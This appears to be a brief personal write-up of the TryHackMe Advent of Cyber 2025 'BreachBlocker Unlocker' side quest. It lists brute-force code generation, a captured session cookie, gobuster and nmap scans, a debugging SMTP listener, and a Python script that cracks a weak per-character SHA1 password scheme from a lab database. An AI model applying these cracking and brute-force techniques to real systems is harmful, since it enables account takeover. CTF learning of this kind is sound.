TryHackmMe Side Quest AOC 2025 - BreachBlocker Unlocker (hard level)

      Fourth Side Quest (BreachBlocker Unlocker) started by discovering the key through reverse engineering an HTA file from the Advent of Cyber Day 21 room and using it to remove the firewall on the target machine.

Let's start with command used :

root@ip-10-81-182-239:~# :~# seq -w 0 999999 > codes.txt
root@ip-10-81-182-239:~# :~# COOKIE='session=.eJxtj11rwkAQRf_LPIsPKX40IKjgQwttTRsUEQmzm4lZ3Oza2UlESv-7WlCK5vmeey73B7CWkpwYjUI5xMI1dUCh22VRgZn2OUEMq35qF5_J4G3RWyYNfa2Ok-f0ZTt8lUgG2H_fDpO9eqK5nhym32nx0USzEfzTNMSmMBd_gTZcB9Baf6A8y32FxgWI10AYhFjVzhkKXSkr2NzBdGbtH6uR2cs5pPFjrQMV2hK5Lbsp267XgdhhdXkdFBPqUlmvd8Qtot8TkGpzmQ.aUpUuw.lQbR5-wD3QPxVos09eGYYGnQyEU'
root@ip-10-81-182-239:~# :~# gobuster dir -u https://10.81.135.120:8443 -w /usr/share/wordlists/dirbus
'emeter/directory-list-2.3-medium.txt -x .txt, js,py, html, zip - k

pip3 install aiosmtpd

root@ip-10-81-182-239:~# :~# aiosmtpd -n -l 0.0.0.0:25 -c aiosmtpd.handlers.Debugging stdout

nmap -sC -sV -p- <IP>

Python scrypt :

# script by ChatGPT
#!/usr/bin/env python3
import sqlite3
import hashlib
import string

DB_PATH = "hopflix-874297.db"
TARGET_EMAIL = "sbreachblocker@easterbunnies.thm"  # change if needed

def hopper_hash(s: str) -> str:
    res = s
    for _ in range(1000):
        res = hashlib.sha1(res.encode()).hexdigest()
    return res

def build_lookup(charset: str) -> dict[str, str]:
    # hash -> character
    lookup = {}
    for ch in charset:
        lookup[hopper_hash(ch)] = ch
    return lookup

def main():
    # Likely enough: all printable ASCII except whitespace controls
    charset = "".join(chr(i) for i in range(32, 127))
    lookup = build_lookup(charset)

    con = sqlite3.connect(DB_PATH)
    cur = con.cursor()

    row = cur.execute("SELECT * FROM users WHERE email = ?", (TARGET_EMAIL,)).fetchone()
    if not row:
        raise SystemExit("Email not found in DB.")

    phash = row[2]  # matches rows[0][2] in main.py
    if len(phash) % 40 != 0:
        print(f"[!] Hash length {len(phash)} not divisible by 40; still trying chunking...")

    chunks = [phash[i:i+40] for i in range(0, len(phash), 40)]

    out = []
    unknown = 0
    for idx, chunk in enumerate(chunks):
        ch = lookup.get(chunk)
        if ch is None:
            out.append("?")
            unknown += 1
        else:
            out.append(ch)

    password = "".join(out)
    print("[+] Recovered password (best effort):", password)
    if unknown:
        print(f"[!] {unknown} characters unknown. Expand charset (e.g., unicode) if needed.")

if __name__ == "__main__":
    main()